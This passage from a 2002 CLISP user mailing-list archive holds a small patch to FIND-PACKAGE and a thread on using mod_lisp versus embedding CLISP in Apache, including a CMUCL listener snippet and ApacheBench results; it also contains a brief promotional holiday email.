DATUM + pushSTACK(O(type_packname)); # TYPE-ERROR slot EXPECTED-TYPE + pushSTACK(obj); pushSTACK(TheSubr(subr_self)->name); + fehler(type_error, + GETTEXT("~: argument should be a package or a package name, not ~")); +} + LISPFUNN(make_symbol,1) { # (MAKE-SYMBOL printname), CLTL p. 168 var object arg = popSTACK(); if (!stringp(arg)) fehler_string(arg); @@ -1878,9 +1902,8 @@ fehler(type_error,GETTEXT("~: argument ~ should be a string or a symbol")); } -LISPFUNN(find_package,1) { # (FIND-PACKAGE name), CLTL p. 183 - var object name = test_stringsym_arg(popSTACK()); # argument as string - VALUES1(find_package(name)); /* search package */ +LISPFUNN(find_package,1) { # (FIND-PACKAGE name), CLHS s.v. + VALUES1(find_package_by_designator(popSTACK())); } LISPFUNN(pfind_package,1) { # (SYSTEM::%FIND-PACKAGE name) diff -Naur clisp-2.30/tests/pack11.tst clisp-2.30-patched/tests/pack11.tst --- clisp-2.30/tests/pack11.tst Tue Jul 16 01:11:19 2002 +++ clisp-2.30-patched/tests/pack11.tst Fri Dec 27 08:52:40 2002 @@ -35,6 +35,8 @@ T (and (find-package "SYS") t) T +(and (find-package (find-package "SYSTEM")) t) +T ;nicknames (find "SYS" (package-nicknames 'sys) :test #'string=) -- Peter Seibel Lisp/Java/English hacker peter@javamonkey.com As for systems that are not like Unix, such as MSDOS, Windows, the Macintosh, VMS, and MVS, supporting them is usually so much work that it is better if you don't. --GNU coding standards, Writing C, Portability between System Types From info@publishersrow.com Mon Dec 30 07:51:54 2002 Received: from [207.224.40.209] (helo=publishersrow.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18T2Co-0004ZF-00 for ; Mon, 30 Dec 2002 07:51:54 -0800 Received: from [207.224.40.209] (HELO ) by publishersrow.com (CommuniGate Pro SMTP 3.4.7) with SMTP id 6598285 for clisp-list@sf.net; Mon, 30 Dec 2002 09:51:53 -0600 From: Alexander Gendler To: clisp-list@sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=us-ascii Message-ID: Subject: [clisp-list] Happy New Year!!! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 30 07:52:06 2002 X-Original-Date: Mon, 30 Dec 2002 09:51:53 -0600 New Page 1


Tevet 25, 5763 / December 30, 2002 B"H

Happy New Year!!!

I and all people in our organization wish much health and happiness for your entire family! It is our fervent wish that the coming year will be the year of peace for you, all who you care about, the Land of Israel, and the entire humanity!

Alexander Gendler
1-847-568-0593
Owner, eBookShuk.com

Jewish-interest books for Computer-assisted Reading and Research



Special Offer Code for JPS Hebrew-English Tanakh: JPSHETSE


 

PLEASE NOTE: This message was sent to you at clisp-list@sf.net because you have either purchased a book from or visited eBookShuk.com, or have left your e-mail on some Jewish-interest site indicating your openness to receiving the communication of this type. If you feel you have received this message in error, please click to unsubscribe.

 

From hin@van-halen.alma.com Tue Dec 31 07:17:18 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18TO8m-0000I6-00 for ; Tue, 31 Dec 2002 07:17:12 -0800 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id gBVFH4J3003625 for ; Tue, 31 Dec 2002 10:17:04 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id gBVFH4mQ003622; Tue, 31 Dec 2002 10:17:04 -0500 Message-Id: <200212311517.gBVFH4mQ003622@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] CLISP Apache module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 31 07:18:01 2002 X-Original-Date: Tue, 31 Dec 2002 10:17:04 -0500 I'm looking for an Apache module to embed a CLISP interpreter into my Apache server, much the same way perl is embedded via mod_perl. I want this so as to speed up my lisp-based dynamic database driven Web server. Does such a thing exist? If not I can write one. Are there substantive examples of embedding a CLISP interpreter in a "C" program and calling Lisp code from the "C" program? --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From lisp-clisp-list@m.gmane.org Tue Dec 31 08:02:32 2002 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18TOqc-0005z0-00 for ; Tue, 31 Dec 2002 08:02:30 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18TOpk-0007uJ-00 for ; Tue, 31 Dec 2002 17:01:36 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18TOpi-0007uA-00 for ; Tue, 31 Dec 2002 17:01:34 +0100 Path: not-for-mail From: "Johannes =?iso-8859-1?q?Gr=F8dem?=" Lines: 19 Message-ID: References: <200212311517.gBVFH4mQ003622@van-halen.alma.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@main.gmane.org User-Agent: Gnus/5.090007 (Oort Gnus v0.07) Emacs/21.2 (i386--freebsd) Cancel-Lock: sha1:gu9PL4cvC04KiUw40j8988nZRSs= Subject: [clisp-list] Re: CLISP Apache module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 31 08:03:02 2002 X-Original-Date: Tue, 31 Dec 2002 17:02:04 +0100 * "John K. Hinsdale" : > I'm looking for an Apache module to embed a CLISP interpreter into my > Apache server, much the same way perl is embedded via mod_perl. I know this isn't quite what you're asking for, but there is a plugin called mod_lisp that lets Apache communicate with a running Lisp (or whatever, really), thus avoiding the need to fork a new clisp for every request, as you would with CGI-scripts. (Oh, and also with the added bonus that you can keep state in the running Lisp image.) I've done some simple stuff with it, it's quite fast. 2-300 requests per second on modest hardware. See the mod_lisp-link on http://www.fractalconcept.com/ -- Johannes Grødem From garyklimowicz@attbi.com Tue Dec 31 08:03:18 2002 Received: from sccrmhc02.attbi.com ([204.127.202.62]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18TOrO-00061t-00 for ; Tue, 31 Dec 2002 08:03:18 -0800 Received: from gaka22m (12-224-35-20.client.attbi.com[12.224.35.20]) by sccrmhc02.attbi.com (sccrmhc02) with SMTP id <2002123116031000200q1ltre>; Tue, 31 Dec 2002 16:03:10 +0000 Reply-To: From: "Gary Klimowicz" To: "'John K. Hinsdale'" Cc: Subject: RE: [clisp-list] CLISP Apache module Message-ID: <8908649ABC29D945973F757A1505DC056967F0@mx.corillian.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.4024 Importance: Normal In-Reply-To: <8908649ABC29D945973F757A1505DC0589C2E9@mx.corillian.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 31 08:04:03 2002 X-Original-Date: Tue, 31 Dec 2002 08:03:10 -0800 Check out mod_lisp by Marc Battyani. It can be found on his fractalconcept.com web site: http://www.fractalconcept.com/asp/sdataQISq8xrEceAXDM==/sdataQuvY9x3g$ec X I have not used it myself, but I've heard very good things about it. -- gak -----Original Message----- From: clisp-list-admin@lists.sourceforge.net [mailto:clisp-list-admin@lists.sourceforge.net] On Behalf Of John K. Hinsdale Sent: Tuesday, December 31, 2002 7:17 AM To: clisp-list@lists.sourceforge.net Subject: [clisp-list] CLISP Apache module I'm looking for an Apache module to embed a CLISP interpreter into my Apache server, much the same way perl is embedded via mod_perl. I want this so as to speed up my lisp-based dynamic database driven Web server. Does such a thing exist? If not I can write one. Are there substantive examples of embedding a CLISP interpreter in a "C" program and calling Lisp code from the "C" program? --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/clisp-list From hin@van-halen.alma.com Tue Dec 31 08:08:31 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18TOwL-00072l-00 for ; Tue, 31 Dec 2002 08:08:25 -0800 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id gBVG8EJ3004203; Tue, 31 Dec 2002 11:08:14 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id gBVG8Ekx004200; Tue, 31 Dec 2002 11:08:14 -0500 Message-Id: <200212311608.gBVG8Ekx004200@van-halen.alma.com> From: "John K. Hinsdale" To: johs+n@ifi.uio.no CC: clisp-list@lists.sourceforge.net In-reply-to: (johs+n@ifi.uio.no) Subject: Re: [clisp-list] Re: CLISP Apache module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 31 08:09:04 2002 X-Original-Date: Tue, 31 Dec 2002 11:08:14 -0500 > I know this isn't quite what you're asking for, but there is a plugin > called mod_lisp that lets Apache communicate with a running Lisp (or > whatever, really), Yes, that is what I want, but I was more looking for an interpreter actually embedded in the Apache server itself (ala mod_perl) ... fewer moving parts. For example, when I bounce the Apache server, the Lisp stuff gets reloaded as well. w/ a separate pool of processes for the Lisp servers I have to deal w/ all that as well. > thus avoiding the need to fork a new clisp for > every request, as you would with CGI-scripts. (Oh, and also with the > added bonus that you can keep state in the running Lisp image.) right, I want to re-use my database connections (and avoid recreating lisp garbage etc.) > I've done some simple stuff with it, it's quite fast. 2-300 requests OK I'll give this a try and if it doesn't work for me, maybe I will write a truly embedded CLISP apache module --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From edi@agharta.de Tue Dec 31 09:03:29 2002 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18TPnX-0006Mz-00 for ; Tue, 31 Dec 2002 09:03:23 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id F34FF2605C9; Tue, 31 Dec 2002 18:03:10 +0100 (CET) To: "John K. Hinsdale" Cc: johs+n@ifi.uio.no, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLISP Apache module References: <200212311608.gBVG8Ekx004200@van-halen.alma.com> From: Edi Weitz In-Reply-To: <200212311608.gBVG8Ekx004200@van-halen.alma.com> Message-ID: <87of7215pt.fsf@bird.agharta.de> Lines: 58 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 31 09:04:02 2002 X-Original-Date: 31 Dec 2002 18:03:10 +0100 "John K. Hinsdale" writes: > > I know this isn't quite what you're asking for, but there is a > > plugin called mod_lisp that lets Apache communicate with a > > running Lisp (or whatever, really), > > Yes, that is what I want, but I was more looking for an interpreter > actually embedded in the Apache server itself (ala mod_perl) ... > fewer moving parts. For example, when I bounce the Apache server, > the Lisp stuff gets reloaded as well. w/ a separate pool of > processes for the Lisp servers I have to deal w/ all that as well. With mod_lisp you only have one Lisp image that you don't have to shut down an restart when you bounce Apache. You can have it run as long as you wish and (if it's on a remote server) re-connect to it with something like Dan Barlow's detachtty. > > thus avoiding the need to fork a new clisp for every request, as > > you would with CGI-scripts. (Oh, and also with the added bonus > > that you can keep state in the running Lisp image.) > > right, I want to re-use my database connections (and avoid > recreating lisp garbage etc.) You should really try Marc's mod_lisp. I've just rewritten an application that was originally done in PHP with CMUCL and mod_lisp and I'm extremely happy with the result. The old app had to read thousands of database rows for _each_ page and compute some values out of them. Granted, PHP has persistent database connections and some session handling but that didn't help. The fact was that only maybe one out of 100 page views really altered the database content but you nevertheless had to re-compute each time. With mod_lisp the whole database is read once on startup and then kept in memory (in special variables). If a page alters the database content the new information is sent back to the database but that's about all with respect to database connections. I'm an old mod_perl hacker but there are things you simply can't do with interpreters embedded in Apache - I'll use mod_lisp (or a complete Lisp web server like portableaserve) for all new projects. (Not to mention that you get a _real_ programming language, incremental development, a compiler, yada yada yada. You already know that.) > > I've done some simple stuff with it, it's quite fast. 2-300 > > requests > > OK I'll give this a try and if it doesn't work for me, maybe I will > write a truly embedded CLISP apache module I think that "truly embedding" a Common Lisp into a C program is not a simple task. Maybe this will be easier with ECL than with CLISP or CMUCL. Cheers, Edi. From hin@van-halen.alma.com Tue Dec 31 10:58:11 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18TRaW-0005CI-00 for ; Tue, 31 Dec 2002 10:58:04 -0800 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id gBVIvkJ3004809; Tue, 31 Dec 2002 13:57:46 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id gBVIvkck004806; Tue, 31 Dec 2002 13:57:46 -0500 Message-Id: <200212311857.gBVIvkck004806@van-halen.alma.com> From: "John K. Hinsdale" To: edi@agharta.de CC: johs+n@ifi.uio.no, clisp-list@lists.sourceforge.net In-reply-to: <87of7215pt.fsf@bird.agharta.de> (message from Edi Weitz on 31 Dec 2002 18:03:10 +0100) Subject: Re: [clisp-list] Re: CLISP Apache module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 31 10:59:03 2002 X-Original-Date: Tue, 31 Dec 2002 13:57:46 -0500 > You should really try Marc's mod_lisp. I've just rewritten an > application that was originally done in PHP with CMUCL and mod_lisp > and I'm extremely happy with the result. Alrighty then! I'll let you know how it works out for me. Best wishes to all for peace, prosperity and happy Lisp hacking in the coming new year. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From hin@van-halen.alma.com Tue Dec 31 12:17:58 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18TSph-0008J6-00 for ; Tue, 31 Dec 2002 12:17:49 -0800 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id gBVKHbJ3005198; Tue, 31 Dec 2002 15:17:37 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id gBVKHbUJ005195; Tue, 31 Dec 2002 15:17:37 -0500 Message-Id: <200212312017.gBVKHbUJ005195@van-halen.alma.com> From: "John K. Hinsdale" To: edi@agharta.de CC: johs+n@ifi.uio.no, clisp-list@lists.sourceforge.net In-reply-to: <87of7215pt.fsf@bird.agharta.de> (message from Edi Weitz on 31 Dec 2002 18:03:10 +0100) Subject: Re: [clisp-list] Re: CLISP Apache module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 31 12:18:17 2002 X-Original-Date: Tue, 31 Dec 2002 15:17:37 -0500 > With mod_lisp you only have one Lisp image that you don't have to shut > down an restart when you bounce Apache. You can have it run as long as Wondering: how are concurrent requests handled w/ this setup then? I don't see any code anywhere that forks off a separate concurrent thread of activity (e.g., a new Unix process) while the "Lisp application server" goes back to listening for the next request. Rather it appears that all the work for any individual Web request must finish before it will accept another connection. In other words, only one Lisp request is being processed at a time. Am I missing something? What I need is to pool, say, 10 live database connections to handle peak activity. W/ a mod_perl type setup those connections would exists as perl state in each of the ten Apache processes that had the perl language embedded in them. If this is not an appropriate thread for the CLISP list, let me know and I'll take it up w/ the mod_lisp devleoper(s) - but it doesn't have a mailing list. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From edi@agharta.de Tue Dec 31 12:37:48 2002 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18TT8v-0001Le-00 for ; Tue, 31 Dec 2002 12:37:42 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id 24B7C2605C9; Tue, 31 Dec 2002 21:37:33 +0100 (CET) To: "John K. Hinsdale" Cc: johs+n@ifi.uio.no, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLISP Apache module References: <200212312017.gBVKHbUJ005195@van-halen.alma.com> From: Edi Weitz In-Reply-To: <200212312017.gBVKHbUJ005195@van-halen.alma.com> Message-ID: <87smwd9b76.fsf@bird.agharta.de> Lines: 105 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 31 12:38:02 2002 X-Original-Date: 31 Dec 2002 21:37:33 +0100 "John K. Hinsdale" writes: > > With mod_lisp you only have one Lisp image that you don't have to > > shut down an restart when you bounce Apache. You can have it run > > as long as > > Wondering: how are concurrent requests handled w/ this setup then? > I don't see any code anywhere that forks off a separate concurrent > thread of activity (e.g., a new Unix process) while the "Lisp > application server" goes back to listening for the next request. > Rather it appears that all the work for any individual Web request > must finish before it will accept another connection. In other > words, only one Lisp request is being processed at a time. With CMUCL, the multi-threading code is in this function (taken from the example on the mod_lisp webpage) - note the 'MP' functions. I haven't used mod_lisp with CLISP yet so I don't no any details for this implementation. (defun make-apache-listener (port) (let ((socket (ext:create-inet-listener port))) (unwind-protect (loop (mp:process-wait-until-fd-usable socket :input) (multiple-value-bind (new-fd remote-host) (ext:accept-tcp-connection socket) (let ((stream (sys:make-fd-stream new-fd :input t :output t))) (mp:make-process #'(lambda () (apache-listen stream)))))) (unix:unix-close socket)))) Here are some benchmark results done on my laptop - also with the mod_lisp example code and CMUCL. This is admittedly a very simple, static example but you'll see that mod_lisp handles 500 request with a concurrency level of 10 without any problems - in less than 0.3 seconds. edi@bird:~ > /usr/local/apache/bin/ab -n 500 -c 10 'http://localhost/lisp' This is ApacheBench, Version 1.3d <$Revision: 1.65 $> apache-1.3 Copyright (c) 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ Copyright (c) 1998-2002 The Apache Software Foundation, http://www.apache.org/ Benchmarking localhost (be patient) Completed 100 requests Completed 200 requests Completed 300 requests Completed 400 requests Finished 500 requests Server Software: Apache/1.3.26 Server Hostname: localhost Server Port: 80 Document Path: /lisp Document Length: 196 bytes Concurrency Level: 10 Time taken for tests: 0.294 seconds Complete requests: 500 Failed requests: 0 Broken pipe errors: 0 Total transferred: 206412 bytes HTML transferred: 98196 bytes Requests per second: 1700.68 [#/sec] (mean) Time per request: 5.88 [ms] (mean) Time per request: 0.59 [ms] (mean, across all concurrent requests) Transfer rate: 702.08 [Kbytes/sec] received Connnection Times (ms) min mean[+/-sd] median max Connect: 0 0 0.2 0 3 Processing: 2 5 2.9 5 16 Waiting: 1 4 2.9 5 16 Total: 2 5 2.9 5 16 Percentage of the requests served within a certain time (ms) 50% 5 66% 6 75% 6 80% 6 90% 9 95% 13 98% 14 99% 16 100% 16 (last request) > Am I missing something? What I need is to pool, say, 10 live > database connections to handle peak activity. W/ a mod_perl type > setup those connections would exists as perl state in each of the > ten Apache processes that had the perl language embedded in them. The db connection pool should be no big deal although you'll probably have to implement it yourself. I think the main problem is that many (most?) CL implementations will block during a db call (because it's FFI stuff). [Please correct me if I'm wrong.] This can't be resolved with threading and forking isn't very Lisp-y... > If this is not an appropriate thread for the CLISP list, let me know > and I'll take it up w/ the mod_lisp devleoper(s) - but it doesn't > have a mailing list. Marc is usually very helpful - you can contact him directly. There's also the lispweb mailing list. Cheers, Edi. From hin@van-halen.alma.com Tue Dec 31 13:00:33 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18TTUx-0004Ul-00 for ; Tue, 31 Dec 2002 13:00:27 -0800 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id gBVL0HJ3005319; Tue, 31 Dec 2002 16:00:17 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id gBVL0HY8005316; Tue, 31 Dec 2002 16:00:17 -0500 Message-Id: <200212312100.gBVL0HY8005316@van-halen.alma.com> From: "John K. Hinsdale" To: edi@agharta.de CC: johs+n@ifi.uio.no, clisp-list@lists.sourceforge.net In-reply-to: <87smwd9b76.fsf@bird.agharta.de> (message from Edi Weitz on 31 Dec 2002 21:37:33 +0100) Subject: Re: [clisp-list] Re: CLISP Apache module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 31 13:01:07 2002 X-Original-Date: Tue, 31 Dec 2002 16:00:17 -0500 > With CMUCL, the multi-threading code is in this function (taken from > the example on the mod_lisp webpage) - note the 'MP' functions. I yah, but I want to use CLISP :) Also, even in CMUCL it looks like it creates a new process/thread (and presumably has to init a new DB connection) w/ each request - but that's the overhead I'm trying to avoid. What I need is a pool of processes each already "primed" w/ an active DB connection and possibly some cached data. If I embed my language interpreter into Apache, I get all this for "free" via the process pooling that's already being done by Apache. This is what I've been enjoying w/ mod_perl for some years. It's not obvious to me yet that it won't be easier just to embed CLISP into Apache w/ a module of its own (e.g., "mod_clisp") > I think the main problem is that many (most?) CL implementations will > block during a db call (because it's FFI stuff). [Please correct me if > I'm wrong.] yes, they'll block as they'll have to wait on network I/O as w/ any type of client-side software. Some of my Web request will hit an Oracle server w/ a sequence of queries that can take 30 secs or more so the concurrency is a big issue for me. > Marc is usually very helpful - you can contact him directly. There's > also the lispweb mailing list. i'll run my situation by marc and let you know how it works out. From edi@agharta.de Tue Dec 31 17:16:15 2002 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18TXUO-0004dh-00 for ; Tue, 31 Dec 2002 17:16:09 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id 84E512605C9; Wed, 1 Jan 2003 02:16:02 +0100 (CET) To: "John K. Hinsdale" Cc: johs+n@ifi.uio.no, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLISP Apache module References: <200212312100.gBVL0HY8005316@van-halen.alma.com> From: Edi Weitz In-Reply-To: <200212312100.gBVL0HY8005316@van-halen.alma.com> Message-ID: <87n0ml8yb1.fsf@bird.agharta.de> Lines: 57 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 31 17:17:01 2002 X-Original-Date: 01 Jan 2003 02:16:02 +0100 "John K. Hinsdale" writes: > > With CMUCL, the multi-threading code is in this function (taken > > from the example on the mod_lisp webpage) - note the 'MP' > > functions. I > > yah, but I want to use CLISP :) OK, that's your choice which I won't comment on - especially not on this list... :) > Also, even in CMUCL it looks like it creates a new process/thread > (and presumably has to init a new DB connection) w/ each request - > but that's the overhead I'm trying to avoid. No, it doesn't. With mod_lisp's "Keep-socket" feature your thread will stay alive and keep serving more requests until you willfully shut it down - pretty similar to mod_perl. > What I need is a pool of processes each already "primed" w/ an > active DB connection and possibly some cached data. If I embed my > language interpreter into Apache, I get all this for "free" via the > process pooling that's already being done by Apache. This is what > I've been enjoying w/ mod_perl for some years. As I said, I think this can be done with mod_lisp with some manual work except for the fact that you have 'threads' which are maintained by your CL implementation as opposed to processes maintained by your OS as in mod_perl. (As I detailed in previous mails this also has a lot of advantages.) > It's not obvious to me yet that it won't be easier just to embed > CLISP into Apache w/ a module of its own (e.g., "mod_clisp") Yes, if that's feasible... > > I think the main problem is that many (most?) CL implementations > > will block during a db call (because it's FFI stuff). [Please > > correct me if I'm wrong.] > > yes, they'll block as they'll have to wait on network I/O as w/ any > type of client-side software. Some of my Web request will hit an > Oracle server w/ a sequence of queries that can take 30 secs or more > so the concurrency is a big issue for me. > > > Marc is usually very helpful - you can contact him > > directly. There's also the lispweb mailing list. > > i'll run my situation by marc and let you know how it works out. OK, good luck. [Please note that this and subsequent messages might be spoiled by too much Champagne so don't take them too serious...] Cheers, Edi. From lisp-clisp-list@m.gmane.org Tue Dec 31 19:16:47 2002 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18TZN7-0002N6-00 for ; Tue, 31 Dec 2002 19:16:45 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18TZME-0000wN-00 for ; Wed, 01 Jan 2003 04:15:50 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18TZMB-0000w0-00 for ; Wed, 01 Jan 2003 04:15:47 +0100 Path: not-for-mail From: "Johannes =?iso-8859-1?q?Gr=F8dem?=" Lines: 15 Message-ID: References: <200212311608.gBVG8Ekx004200@van-halen.alma.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@main.gmane.org User-Agent: Gnus/5.090007 (Oort Gnus v0.07) Emacs/21.2 (i386--freebsd) Cancel-Lock: sha1:08/AGRW7CfxPHcmvoBiYVdohq4Y= Subject: [clisp-list] Re: CLISP Apache module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 31 19:17:01 2002 X-Original-Date: Wed, 01 Jan 2003 04:16:17 +0100 * "John K. Hinsdale" : [...] > OK I'll give this a try and if it doesn't work for me, maybe I will > write a truly embedded CLISP apache module What's nice about mod_lisp is that you can use any other Lisp, in case CLISP doesn't do what you want. (Or an entirely different language, for that matter.) Oh, and check out CLISP's #'socket:socket-status if you haven't already. (If someone has already mentioned this, I missed it.) -- Johannes Grødem From hin@van-halen.alma.com Wed Jan 01 08:34:49 2003 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] 